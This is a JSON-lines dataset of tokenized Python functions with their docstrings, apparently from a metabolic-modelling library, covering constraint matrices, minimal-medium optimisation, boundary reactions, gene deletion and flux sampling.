{"signature": "def constraint_matrices(model, array_type='<STR_LIT>', include_vars=False,<EOL>zero_tol=<NUM_LIT>):", "body": "if array_type not in ('<STR_LIT>', '<STR_LIT>') and not dok_matrix:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>array_builder = {<EOL>'<STR_LIT>': np.array, '<STR_LIT>': dok_matrix, '<STR_LIT>': lil_matrix,<EOL>'<STR_LIT>': pd.DataFrame,<EOL>}[array_type]<EOL>Problem = namedtuple(\"<STR_LIT>\",<EOL>[\"<STR_LIT>\", \"<STR_LIT:b>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\"])<EOL>equality_rows = []<EOL>inequality_rows = []<EOL>inequality_bounds = []<EOL>b = []<EOL>for const in model.constraints:<EOL><INDENT>lb = -np.inf if const.lb is None else const.lb<EOL>ub = np.inf if const.ub is None else const.ub<EOL>equality = (ub - lb) < zero_tol<EOL>coefs = const.get_linear_coefficients(model.variables)<EOL>coefs = [coefs[v] for v in model.variables]<EOL>if equality:<EOL><INDENT>b.append(lb if abs(lb) > zero_tol else <NUM_LIT:0.0>)<EOL>equality_rows.append(coefs)<EOL><DEDENT>else:<EOL><INDENT>inequality_rows.append(coefs)<EOL>inequality_bounds.append([lb, ub])<EOL><DEDENT><DEDENT>var_bounds = np.array([[v.lb, v.ub] for v in model.variables])<EOL>fixed = var_bounds[:, <NUM_LIT:1>] - var_bounds[:, <NUM_LIT:0>] < zero_tol<EOL>results = Problem(<EOL>equalities=array_builder(equality_rows),<EOL>b=np.array(b),<EOL>inequalities=array_builder(inequality_rows),<EOL>bounds=array_builder(inequality_bounds),<EOL>variable_fixed=np.array(fixed),<EOL>variable_bounds=array_builder(var_bounds))<EOL>return results<EOL>", "docstring": "Create a matrix representation of the problem.\n\n    This is used for alternative solution approaches that do not use optlang.\n    The function will construct the equality matrix, inequality matrix and\n    bounds for the complete problem.\n\n    Notes\n    -----\n    To accomodate non-zero equalities the problem will add the variable\n    \"const_one\" which is a variable that equals one.\n\n    Arguments\n    ---------\n    model : cobra.Model\n        The model from which to obtain the LP problem.\n    array_type : string\n        The type of array to construct. if 'dense', return a standard\n        numpy.array, 'dok', or 'lil' will construct a sparse array using\n        scipy of the corresponding type and 'DataFrame' will give a\n        pandas `DataFrame` with metabolite indices and reaction columns.\n    zero_tol : float\n        The zero tolerance used to judge whether two bounds are the same.\n\n    Returns\n    -------\n    collections.namedtuple\n        A named tuple consisting of 6 matrices and 2 vectors:\n        - \"equalities\" is a matrix S such that S*vars = b. It includes a row\n          for each constraint and one column for each variable.\n        - \"b\" the right side of the equality equation such that S*vars = b.\n        - \"inequalities\" is a matrix M such that lb <= M*vars <= ub.\n          It contains a row for each inequality and as many columns as\n          variables.\n        - \"bounds\" is a compound matrix [lb ub] containing the lower and\n          upper bounds for the inequality constraints in M.\n        - \"variable_fixed\" is a boolean vector indicating whether the variable\n          at that index is fixed (lower bound == upper_bound) and\n          is thus bounded by an equality constraint.\n        - \"variable_bounds\" is a compound matrix [lb ub] containing the\n          lower and upper bounds for all variables.", "id": "f15966:m2"}
{"signature": "def add_linear_obj(model):", "body": "coefs = {}<EOL>for rxn in find_boundary_types(model, \"<STR_LIT>\"):<EOL><INDENT>export = len(rxn.reactants) == <NUM_LIT:1><EOL>if export:<EOL><INDENT>coefs[rxn.reverse_variable] = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>coefs[rxn.forward_variable] = <NUM_LIT:1><EOL><DEDENT><DEDENT>model.objective.set_linear_coefficients(coefs)<EOL>model.objective.direction = \"<STR_LIT>\"<EOL>", "docstring": "Add a linear version of a minimal medium to the model solver.\n\n    Changes the optimization objective to finding the growth medium requiring\n    the smallest total import flux::\n\n        minimize sum |r_i| for r_i in import_reactions\n\n    Arguments\n    ---------\n    model : cobra.Model\n        The model to modify.", "id": "f15967:m0"}
{"signature": "def add_mip_obj(model):", "body": "if len(model.variables) > <NUM_LIT>:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>exchange_rxns = find_boundary_types(model, \"<STR_LIT>\")<EOL>big_m = max(abs(b) for r in exchange_rxns for b in r.bounds)<EOL>prob = model.problem<EOL>coefs = {}<EOL>to_add = []<EOL>for rxn in exchange_rxns:<EOL><INDENT>export = len(rxn.reactants) == <NUM_LIT:1><EOL>indicator = prob.Variable(\"<STR_LIT>\" + rxn.id, lb=<NUM_LIT:0>, ub=<NUM_LIT:1>, type=\"<STR_LIT>\")<EOL>if export:<EOL><INDENT>vrv = rxn.reverse_variable<EOL>indicator_const = prob.Constraint(<EOL>vrv - indicator * big_m, ub=<NUM_LIT:0>, name=\"<STR_LIT>\" + rxn.id)<EOL><DEDENT>else:<EOL><INDENT>vfw = rxn.forward_variable<EOL>indicator_const = prob.Constraint(<EOL>vfw - indicator * big_m, ub=<NUM_LIT:0>, name=\"<STR_LIT>\" + rxn.id)<EOL><DEDENT>to_add.extend([indicator, indicator_const])<EOL>coefs[indicator] = <NUM_LIT:1><EOL><DEDENT>model.add_cons_vars(to_add)<EOL>model.solver.update()<EOL>model.objective.set_linear_coefficients(coefs)<EOL>model.objective.direction = \"<STR_LIT>\"<EOL>", "docstring": "Add a mixed-integer version of a minimal medium to the model.\n\n    Changes the optimization objective to finding the medium with the least\n    components::\n\n        minimize size(R) where R part of import_reactions\n\n    Arguments\n    ---------\n    model : cobra.model\n        The model to modify.", "id": "f15967:m1"}
{"signature": "def _as_medium(exchanges, tolerance=<NUM_LIT>, exports=False):", "body": "LOGGER.debug(\"<STR_LIT>\")<EOL>medium = pd.Series()<EOL>for rxn in exchanges:<EOL><INDENT>export = len(rxn.reactants) == <NUM_LIT:1><EOL>flux = rxn.flux<EOL>if abs(flux) < tolerance:<EOL><INDENT>continue<EOL><DEDENT>if export:<EOL><INDENT>medium[rxn.id] = -flux<EOL><DEDENT>elif not export:<EOL><INDENT>medium[rxn.id] = flux<EOL><DEDENT><DEDENT>if not exports:<EOL><INDENT>medium = medium[medium > <NUM_LIT:0>]<EOL><DEDENT>return medium<EOL>", "docstring": "Convert a solution to medium.\n\n    Arguments\n    ---------\n    exchanges : list of cobra.reaction\n        The exchange reactions to consider.\n    tolerance : positive double\n        The absolute tolerance for fluxes. Fluxes with an absolute value\n        smaller than this number will be ignored.\n    exports : bool\n        Whether to return export fluxes as well.\n\n    Returns\n    -------\n    pandas.Series\n        The \"medium\", meaning all active import fluxes in the solution.", "id": "f15967:m2"}
{"signature": "def minimal_medium(model, min_objective_value=<NUM_LIT:0.1>, exports=False,<EOL>minimize_components=False, open_exchanges=False):", "body": "exchange_rxns = find_boundary_types(model, \"<STR_LIT>\")<EOL>if isinstance(open_exchanges, bool):<EOL><INDENT>open_bound = <NUM_LIT:1000><EOL><DEDENT>else:<EOL><INDENT>open_bound = open_exchanges<EOL><DEDENT>with model as mod:<EOL><INDENT>if open_exchanges:<EOL><INDENT>LOGGER.debug(\"<STR_LIT>\",<EOL>len(exchange_rxns))<EOL>for rxn in exchange_rxns:<EOL><INDENT>rxn.bounds = (-open_bound, open_bound)<EOL><DEDENT><DEDENT>LOGGER.debug(\"<STR_LIT>\")<EOL>obj_const = mod.problem.Constraint(<EOL>mod.objective.expression, lb=min_objective_value,<EOL>name=\"<STR_LIT>\")<EOL>mod.add_cons_vars([obj_const])<EOL>mod.solver.update()<EOL>mod.objective = Zero<EOL>LOGGER.debug(\"<STR_LIT>\")<EOL>tol = mod.solver.configuration.tolerances.feasibility<EOL>if minimize_components:<EOL><INDENT>add_mip_obj(mod)<EOL>if isinstance(minimize_components, bool):<EOL><INDENT>minimize_components = <NUM_LIT:1><EOL><DEDENT>seen = set()<EOL>best = num_components = mod.slim_optimize()<EOL>if mod.solver.status != OPTIMAL:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>exclusion = mod.problem.Constraint(Zero, ub=<NUM_LIT:0>)<EOL>mod.add_cons_vars([exclusion])<EOL>mod.solver.update()<EOL>media = []<EOL>for i in range(minimize_components):<EOL><INDENT>LOGGER.info(\"<STR_LIT>\", (i + <NUM_LIT:1>))<EOL>vars = [mod.variables[\"<STR_LIT>\" + s] for s in seen]<EOL>if len(seen) > <NUM_LIT:0>:<EOL><INDENT>exclusion.set_linear_coefficients(<EOL>dict.fromkeys(vars, <NUM_LIT:1>))<EOL>exclusion.ub = best - <NUM_LIT:1><EOL><DEDENT>num_components = mod.slim_optimize()<EOL>if mod.solver.status != OPTIMAL or num_components > best:<EOL><INDENT>break<EOL><DEDENT>medium = _as_medium(exchange_rxns, tol, exports=exports)<EOL>media.append(medium)<EOL>seen.update(medium[medium > <NUM_LIT:0>].index)<EOL><DEDENT>if len(media) > <NUM_LIT:1>:<EOL><INDENT>medium = pd.concat(media, axis=<NUM_LIT:1>, sort=True).fillna(<NUM_LIT:0.0>)<EOL>medium.sort_index(axis=<NUM_LIT:1>, inplace=True)<EOL><DEDENT>else:<EOL><INDENT>medium = media[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>add_linear_obj(mod)<EOL>mod.slim_optimize()<EOL>if mod.solver.status != OPTIMAL:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>medium = _as_medium(exchange_rxns, tol, exports=exports)<EOL><DEDENT><DEDENT>return medium<EOL>", "docstring": "Find the minimal growth medium for the model.\n\nFinds the minimal growth medium for the model which allows for\nmodel as well as individual growth. Here, a minimal medium can either\nbe the medium requiring the smallest total import flux or the medium\nrequiring the least components (ergo ingredients), which will be much\nslower due to being a mixed integer problem (MIP).\n\nArguments\n---------\nmodel : cobra.model\n    The model to modify.\nmin_objective_value : positive float or array-like object\n    The minimum growth rate (objective) that has to be achieved.\nexports : boolean\n    Whether to include export fluxes in the returned medium. Defaults to\n    False which will only return import fluxes.\nminimize_components : boolean or positive int\n    Whether to minimize the number of components instead of the total\n    import flux. Might be more intuitive if set to True but may also be\n    slow to calculate for large communities. If set to a number `n` will\n    return up to `n` alternative solutions all with the same number of\n    components.\nopen_exchanges : boolean or number\n    Whether to ignore currently set bounds and make all exchange reactions\n    in the model possible. If set to a number all exchange reactions will\n    be opened with (-number, number) as bounds.\n\nReturns\n-------\npandas.Series, pandas.DataFrame or None\n    A series giving the import flux for each required import\n    reaction and (optionally) the associated export fluxes. All exchange\n    fluxes are oriented into the import reaction e.g. positive fluxes\n    denote imports and negative fluxes exports. If `minimize_components`\n    is a number larger 1 may return a DataFrame where each column is a\n    minimal medium. Returns None if the minimization is infeasible\n    (for instance if min_growth > maximum growth rate).\n\nNotes\n-----\nDue to numerical issues the `minimize_components` option will usually only\nminimize the number of \"large\" import fluxes. Specifically, the detection\nlimit is given by ``integrality_tolerance * max_bound`` where ``max_bound``\nis the largest bound on an import reaction. Thus, if you are interested\nin small import fluxes as well you may have to adjust the integrality\ntolerance at first with\n`model.solver.configuration.tolerances.integrality = 1e-7` for instance.\nHowever, this will be *very* slow for large models especially with GLPK.", "id": "f15967:m3"}
{"signature": "def find_external_compartment(model):", "body": "if model.boundary:<EOL><INDENT>counts = pd.Series(tuple(r.compartments)[<NUM_LIT:0>] for r in model.boundary)<EOL>most = counts.value_counts()<EOL>most = most.index[most == most.max()].to_series()<EOL><DEDENT>else:<EOL><INDENT>most = None<EOL><DEDENT>like_external = compartment_shortlist[\"<STR_LIT:e>\"] + [\"<STR_LIT:e>\"]<EOL>matches = pd.Series([co in like_external for co in model.compartments],<EOL>index=model.compartments)<EOL>if matches.sum() == <NUM_LIT:1>:<EOL><INDENT>compartment = matches.index[matches][<NUM_LIT:0>]<EOL>LOGGER.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>compartment)<EOL>return compartment<EOL><DEDENT>elif most is not None and matches.sum() > <NUM_LIT:1> and matches[most].sum() == <NUM_LIT:1>:<EOL><INDENT>compartment = most[matches[most]][<NUM_LIT:0>]<EOL>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % compartment)<EOL>return compartment<EOL><DEDENT>elif matches.sum() > <NUM_LIT:1>:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if most is not None:<EOL><INDENT>return most[<NUM_LIT:0>]<EOL>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>", "docstring": "Find the external compartment in the model.\n\n    Uses a simple heuristic where the external compartment should be the one\n    with the most exchange reactions.\n\n    Arguments\n    ---------\n    model : cobra.Model\n        A cobra model.\n\n    Returns\n    -------\n    str\n        The putative external compartment.", "id": "f15968:m0"}
{"signature": "def is_boundary_type(reaction, boundary_type, external_compartment):", "body": "<EOL>sbo_term = reaction.annotation.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>if isinstance(sbo_term, list):<EOL><INDENT>sbo_term = sbo_term[<NUM_LIT:0>]<EOL><DEDENT>sbo_term = sbo_term.upper()<EOL>if sbo_term == sbo_terms[boundary_type]:<EOL><INDENT>return True<EOL><DEDENT>if sbo_term in [sbo_terms[k] for k in sbo_terms if k != boundary_type]:<EOL><INDENT>return False<EOL><DEDENT>correct_compartment = external_compartment in reaction.compartments<EOL>if boundary_type != \"<STR_LIT>\":<EOL><INDENT>correct_compartment = not correct_compartment<EOL><DEDENT>rev_type = True<EOL>if boundary_type == \"<STR_LIT>\":<EOL><INDENT>rev_type = not reaction.reversibility<EOL><DEDENT>elif boundary_type == \"<STR_LIT>\":<EOL><INDENT>rev_type = reaction.reversibility<EOL><DEDENT>return (reaction.boundary and not<EOL>any(ex in reaction.id for ex in excludes[boundary_type]) and<EOL>correct_compartment and rev_type)<EOL>", "docstring": "Check whether a reaction is an exchange reaction.\n\n    Arguments\n    ---------\n    reaction : cobra.Reaction\n        The reaction to check.\n    boundary_type : str\n        What boundary type to check for. Must be one of\n        \"exchange\", \"demand\", or \"sink\".\n    external_compartment : str\n        The id for the external compartment.\n\n    Returns\n    -------\n    boolean\n        Whether the reaction looks like the requested type. Might be based\n        on a heuristic.", "id": "f15968:m1"}
{"signature": "def find_boundary_types(model, boundary_type, external_compartment=None):", "body": "if not model.boundary:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return []<EOL><DEDENT>if external_compartment is None:<EOL><INDENT>external_compartment = find_external_compartment(model)<EOL><DEDENT>return model.reactions.query(<EOL>lambda r: is_boundary_type(r, boundary_type, external_compartment))<EOL>", "docstring": "Find specific boundary reactions.\n\n    Arguments\n    ---------\n    model : cobra.Model\n        A cobra model.\n    boundary_type : str\n        What boundary type to check for. Must be one of\n        \"exchange\", \"demand\", or \"sink\".\n    external_compartment : str or None\n        The id for the external compartment. If None it will be detected\n        automatically.\n\n    Returns\n    -------\n    list of cobra.reaction\n        A list of likely boundary reactions of a user defined type.", "id": "f15968:m2"}
{"signature": "def _escape_str_id(id_str):", "body": "for c in (\"<STR_LIT:'>\", '<STR_LIT:\">'):<EOL><INDENT>if id_str.startswith(c) and id_str.endswith(c)and id_str.count(c) == <NUM_LIT:2>:<EOL><INDENT>id_str = id_str.strip(c)<EOL><DEDENT><DEDENT>for char, escaped_char in _renames:<EOL><INDENT>id_str = id_str.replace(char, escaped_char)<EOL><DEDENT>return id_str<EOL>", "docstring": "make a single string id SBML compliant", "id": "f15972:m0"}
{"signature": "def escape_ID(cobra_model):", "body": "for x in chain([cobra_model],<EOL>cobra_model.metabolites,<EOL>cobra_model.reactions,<EOL>cobra_model.genes):<EOL><INDENT>x.id = _escape_str_id(x.id)<EOL><DEDENT>cobra_model.repair()<EOL>gene_renamer = _GeneEscaper()<EOL>for rxn, rule in iteritems(get_compiled_gene_reaction_rules(cobra_model)):<EOL><INDENT>if rule is not None:<EOL><INDENT>rxn._gene_reaction_rule = ast2str(gene_renamer.visit(rule))<EOL><DEDENT><DEDENT>", "docstring": "makes all ids SBML compliant", "id": "f15972:m1"}
{"signature": "def rename_genes(cobra_model, rename_dict):", "body": "recompute_reactions = set()  <EOL>remove_genes = []<EOL>for old_name, new_name in iteritems(rename_dict):<EOL><INDENT>try:<EOL><INDENT>gene_index = cobra_model.genes.index(old_name)<EOL><DEDENT>except ValueError:<EOL><INDENT>gene_index = None<EOL><DEDENT>old_gene_present = gene_index is not None<EOL>new_gene_present = new_name in cobra_model.genes<EOL>if old_gene_present and new_gene_present:<EOL><INDENT>old_gene = cobra_model.genes.get_by_id(old_name)<EOL>if old_gene is not cobra_model.genes.get_by_id(new_name):<EOL><INDENT>remove_genes.append(old_gene)<EOL>recompute_reactions.update(old_gene._reaction)<EOL><DEDENT><DEDENT>elif old_gene_present and not new_gene_present:<EOL><INDENT>gene = cobra_model.genes[gene_index]<EOL>cobra_model.genes._dict.pop(gene.id)  <EOL>gene.id = new_name<EOL>cobra_model.genes[gene_index] = gene<EOL><DEDENT>elif not old_gene_present and new_gene_present:<EOL><INDENT>pass<EOL><DEDENT>else:  <EOL><INDENT>pass<EOL><DEDENT><DEDENT>cobra_model.repair()<EOL>class Renamer(NodeTransformer):<EOL><INDENT>def visit_Name(self, node):<EOL><INDENT>node.id = rename_dict.get(node.id, node.id)<EOL>return node<EOL><DEDENT><DEDENT>gene_renamer = Renamer()<EOL>for rxn, rule in iteritems(get_compiled_gene_reaction_rules(cobra_model)):<EOL><INDENT>if rule is not None:<EOL><INDENT>rxn._gene_reaction_rule = ast2str(gene_renamer.visit(rule))<EOL><DEDENT><DEDENT>for rxn in recompute_reactions:<EOL><INDENT>rxn.gene_reaction_rule = rxn._gene_reaction_rule<EOL><DEDENT>for i in remove_genes:<EOL><INDENT>cobra_model.genes.remove(i)<EOL><DEDENT>", "docstring": "renames genes in a model from the rename_dict", "id": "f15972:m2"}
{"signature": "def add_SBO(model):", "body": "for r in model.reactions:<EOL><INDENT>if r.annotation.get(\"<STR_LIT>\"):<EOL><INDENT>continue<EOL><DEDENT>if len(r.metabolites) != <NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT>met_id = list(r._metabolites)[<NUM_LIT:0>].id<EOL>if r.id.startswith(\"<STR_LIT>\") and r.id == \"<STR_LIT>\" + met_id:<EOL><INDENT>r.annotation[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL><DEDENT>elif r.id.startswith(\"<STR_LIT>\") and r.id == \"<STR_LIT>\" + met_id:<EOL><INDENT>r.annotation[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>", "docstring": "adds SBO terms for demands and exchanges\n\n    This works for models which follow the standard convention for\n    constructing and naming these reactions.\n\n    The reaction should only contain the single metabolite being exchanged,\n    and the id should be EX_metid or DM_metid", "id": "f15973:m0"}
{"signature": "def prune_unused_metabolites(cobra_model):", "body": "output_model = cobra_model.copy()<EOL>inactive_metabolites = [m for m in output_model.metabolites<EOL>if len(m.reactions) == <NUM_LIT:0>]<EOL>output_model.remove_metabolites(inactive_metabolites)<EOL>return output_model, inactive_metabolites<EOL>", "docstring": "Remove metabolites that are not involved in any reactions and\n    returns pruned model\n\n    Parameters\n    ----------\n    cobra_model: class:`~cobra.core.Model.Model` object\n        the model to remove unused metabolites from\n\n    Returns\n    -------\n    output_model: class:`~cobra.core.Model.Model` object\n        input model with unused metabolites removed\n    inactive_metabolites: list of class:`~cobra.core.reaction.Reaction`\n        list of metabolites that were removed", "id": "f15976:m0"}
{"signature": "def prune_unused_reactions(cobra_model):", "body": "output_model = cobra_model.copy()<EOL>reactions_to_prune = [r for r in output_model.reactions<EOL>if len(r.metabolites) == <NUM_LIT:0>]<EOL>output_model.remove_reactions(reactions_to_prune)<EOL>return output_model, reactions_to_prune<EOL>", "docstring": "Remove reactions with no assigned metabolites, returns pruned model\n\n    Parameters\n    ----------\n    cobra_model: class:`~cobra.core.Model.Model` object\n        the model to remove unused reactions from\n\n    Returns\n    -------\n    output_model: class:`~cobra.core.Model.Model` object\n        input model with unused reactions removed\n    reactions_to_prune: list of class:`~cobra.core.reaction.Reaction`\n        list of reactions that were removed", "id": "f15976:m1"}
{"signature": "def undelete_model_genes(cobra_model):", "body": "if cobra_model._trimmed_genes is not None:<EOL><INDENT>for x in cobra_model._trimmed_genes:<EOL><INDENT>x.functional = True<EOL><DEDENT><DEDENT>if cobra_model._trimmed_reactions is not None:<EOL><INDENT>for the_reaction, (lower_bound, upper_bound) incobra_model._trimmed_reactions.items():<EOL><INDENT>the_reaction.lower_bound = lower_bound<EOL>the_reaction.upper_bound = upper_bound<EOL><DEDENT><DEDENT>cobra_model._trimmed_genes = []<EOL>cobra_model._trimmed_reactions = {}<EOL>cobra_model._trimmed = False<EOL>", "docstring": "Undoes the effects of a call to delete_model_genes in place.\n\n    cobra_model:  A cobra.Model which will be modified in place", "id": "f15976:m2"}
{"signature": "def get_compiled_gene_reaction_rules(cobra_model):", "body": "return {r: parse_gpr(r.gene_reaction_rule)[<NUM_LIT:0>]<EOL>for r in cobra_model.reactions}<EOL>", "docstring": "Generates a dict of compiled gene_reaction_rules\n\n    Any gene_reaction_rule expressions which cannot be compiled or do not\n    evaluate after compiling will be excluded. The result can be used in the\n    find_gene_knockout_reactions function to speed up evaluation of these\n    rules.", "id": "f15976:m3"}
{"signature": "def find_gene_knockout_reactions(cobra_model, gene_list,<EOL>compiled_gene_reaction_rules=None):", "body": "potential_reactions = set()<EOL>for gene in gene_list:<EOL><INDENT>if isinstance(gene, string_types):<EOL><INDENT>gene = cobra_model.genes.get_by_id(gene)<EOL><DEDENT>potential_reactions.update(gene._reaction)<EOL><DEDENT>gene_set = {str(i) for i in gene_list}<EOL>if compiled_gene_reaction_rules is None:<EOL><INDENT>compiled_gene_reaction_rules = {r: parse_gpr(r.gene_reaction_rule)[<NUM_LIT:0>]<EOL>for r in potential_reactions}<EOL><DEDENT>return [r for r in potential_reactions<EOL>if not eval_gpr(compiled_gene_reaction_rules[r], gene_set)]<EOL>", "docstring": "identify reactions which will be disabled when the genes are knocked out\n\n    cobra_model: :class:`~cobra.core.Model.Model`\n\n    gene_list: iterable of :class:`~cobra.core.Gene.Gene`\n\n    compiled_gene_reaction_rules: dict of {reaction_id: compiled_string}\n        If provided, this gives pre-compiled gene_reaction_rule strings.\n        The compiled rule strings can be evaluated much faster. If a rule\n        is not provided, the regular expression evaluation will be used.\n        Because not all gene_reaction_rule strings can be evaluated, this\n        dict must exclude any rules which can not be used with eval.", "id": "f15976:m4"}
{"signature": "def delete_model_genes(cobra_model, gene_list,<EOL>cumulative_deletions=True, disable_orphans=False):", "body": "if disable_orphans:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT>if not hasattr(cobra_model, '<STR_LIT>'):<EOL><INDENT>cobra_model._trimmed = False<EOL>cobra_model._trimmed_genes = []<EOL>cobra_model._trimmed_reactions = {}  <EOL><DEDENT>if cobra_model._trimmed_genes is None:<EOL><INDENT>cobra_model._trimmed_genes = []<EOL><DEDENT>if cobra_model._trimmed_reactions is None:<EOL><INDENT>cobra_model._trimmed_reactions = {}<EOL><DEDENT>if not hasattr(gene_list, '<STR_LIT>') orhasattr(gene_list, '<STR_LIT:id>'):  <EOL><INDENT>gene_list = [gene_list]<EOL><DEDENT>if not hasattr(gene_list[<NUM_LIT:0>], '<STR_LIT:id>'):<EOL><INDENT>if gene_list[<NUM_LIT:0>] in cobra_model.genes:<EOL><INDENT>tmp_gene_dict = dict([(x.id, x) for x in cobra_model.genes])<EOL><DEDENT>else:<EOL><INDENT>tmp_gene_dict = dict([(x.name, x) for x in cobra_model.genes])<EOL><DEDENT>gene_list = [tmp_gene_dict[x] for x in gene_list]<EOL><DEDENT>for x in gene_list:<EOL><INDENT>x.functional = False<EOL><DEDENT>if cumulative_deletions:<EOL><INDENT>gene_list.extend(cobra_model._trimmed_genes)<EOL><DEDENT>else:<EOL><INDENT>undelete_model_genes(cobra_model)<EOL><DEDENT>for the_reaction in find_gene_knockout_reactions(cobra_model, gene_list):<EOL><INDENT>if the_reaction in cobra_model._trimmed_reactions:<EOL><INDENT>continue<EOL><DEDENT>old_lower_bound = the_reaction.lower_bound<EOL>old_upper_bound = the_reaction.upper_bound<EOL>cobra_model._trimmed_reactions[the_reaction] = (old_lower_bound,<EOL>old_upper_bound)<EOL>the_reaction.lower_bound = <NUM_LIT:0.><EOL>the_reaction.upper_bound = <NUM_LIT:0.><EOL>cobra_model._trimmed = True<EOL><DEDENT>cobra_model._trimmed_genes = list(set(cobra_model._trimmed_genes +<EOL>gene_list))<EOL>", "docstring": "delete_model_genes will set the upper and lower bounds for reactions\n    catalysed by the genes in gene_list if deleting the genes means that\n    the reaction cannot proceed according to\n    cobra_model.reactions[:].gene_reaction_rule\n\n    cumulative_deletions: False or True.  If True then any previous\n    deletions will be maintained in the model.", "id": "f15976:m5"}
{"signature": "def remove_genes(cobra_model, gene_list, remove_reactions=True):", "body": "gene_set = {cobra_model.genes.get_by_id(str(i)) for i in gene_list}<EOL>gene_id_set = {i.id for i in gene_set}<EOL>remover = _GeneRemover(gene_id_set)<EOL>ast_rules = get_compiled_gene_reaction_rules(cobra_model)<EOL>target_reactions = []<EOL>for reaction, rule in iteritems(ast_rules):<EOL><INDENT>if reaction.gene_reaction_rule is None orlen(reaction.gene_reaction_rule) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>if remove_reactions and not eval_gpr(rule, gene_id_set):<EOL><INDENT>target_reactions.append(reaction)<EOL><DEDENT>else:<EOL><INDENT>remover.visit(rule)<EOL>new_rule = ast2str(rule)<EOL>if new_rule != reaction.gene_reaction_rule:<EOL><INDENT>reaction.gene_reaction_rule = new_rule<EOL><DEDENT><DEDENT><DEDENT>for gene in gene_set:<EOL><INDENT>cobra_model.genes.remove(gene)<EOL>associated_groups = cobra_model.get_associated_groups(gene)<EOL>for group in associated_groups:<EOL><INDENT>group.remove_members(gene)<EOL><DEDENT><DEDENT>cobra_model.remove_reactions(target_reactions)<EOL>", "docstring": "remove genes entirely from the model\n\n    This will also simplify all gene_reaction_rules with this\n    gene inactivated.", "id": "f15976:m6"}
{"signature": "def shared_np_array(shape, data=None, integer=False):", "body": "size = np.prod(shape)<EOL>if integer:<EOL><INDENT>array = Array(ctypes.c_int64, int(size))<EOL>np_array = np.frombuffer(array.get_obj(), dtype=\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>array = Array(ctypes.c_double, int(size))<EOL>np_array = np.frombuffer(array.get_obj())<EOL><DEDENT>np_array = np_array.reshape(shape)<EOL>if data is not None:<EOL><INDENT>if len(shape) != len(data.shape):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>same = all(x == y for x, y in zip(shape, data.shape))<EOL>if not same:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>np_array[:] = data<EOL><DEDENT>return np_array<EOL>", "docstring": "Create a new numpy array that resides in shared memory.\n\n    Parameters\n    ----------\n    shape : tuple of ints\n        The shape of the new array.\n    data : numpy.array\n        Data to copy to the new array. Has to have the same shape.\n    integer : boolean\n        Whether to use an integer array. Defaults to False which means\n        float array.", "id": "f15977:m0"}
{"signature": "def step(sampler, x, delta, fraction=None, tries=<NUM_LIT:0>):", "body": "prob = sampler.problem<EOL>valid = ((np.abs(delta) > sampler.feasibility_tol) &<EOL>np.logical_not(prob.variable_fixed))<EOL>valphas = ((<NUM_LIT:1.0> - sampler.bounds_tol) * prob.variable_bounds -<EOL>x)[:, valid]<EOL>valphas = (valphas / delta[valid]).flatten()<EOL>if prob.bounds.shape[<NUM_LIT:0>] > <NUM_LIT:0>:<EOL><INDENT>ineqs = prob.inequalities.dot(delta)<EOL>valid = np.abs(ineqs) > sampler.feasibility_tol<EOL>balphas = ((<NUM_LIT:1.0> - sampler.bounds_tol) * prob.bounds -<EOL>prob.inequalities.dot(x))[:, valid]<EOL>balphas = (balphas / ineqs[valid]).flatten()<EOL>alphas = np.hstack([valphas, balphas])<EOL><DEDENT>else:<EOL><INDENT>alphas = valphas<EOL><DEDENT>pos_alphas = alphas[alphas > <NUM_LIT:0.0>]<EOL>neg_alphas = alphas[alphas <= <NUM_LIT:0.0>]<EOL>alpha_range = np.array([neg_alphas.max() if len(neg_alphas) > <NUM_LIT:0> else <NUM_LIT:0>,<EOL>pos_alphas.min() if len(pos_alphas) > <NUM_LIT:0> else <NUM_LIT:0>])<EOL>if fraction:<EOL><INDENT>alpha = alpha_range[<NUM_LIT:0>] + fraction * (alpha_range[<NUM_LIT:1>] - alpha_range[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>alpha = np.random.uniform(alpha_range[<NUM_LIT:0>], alpha_range[<NUM_LIT:1>])<EOL><DEDENT>p = x + alpha * delta<EOL>if (np.any(sampler._bounds_dist(p) < -sampler.bounds_tol) or<EOL>np.abs(np.abs(alpha_range).max() * delta).max() <<EOL>sampler.bounds_tol):<EOL><INDENT>if tries > MAX_TRIES:<EOL><INDENT>raise 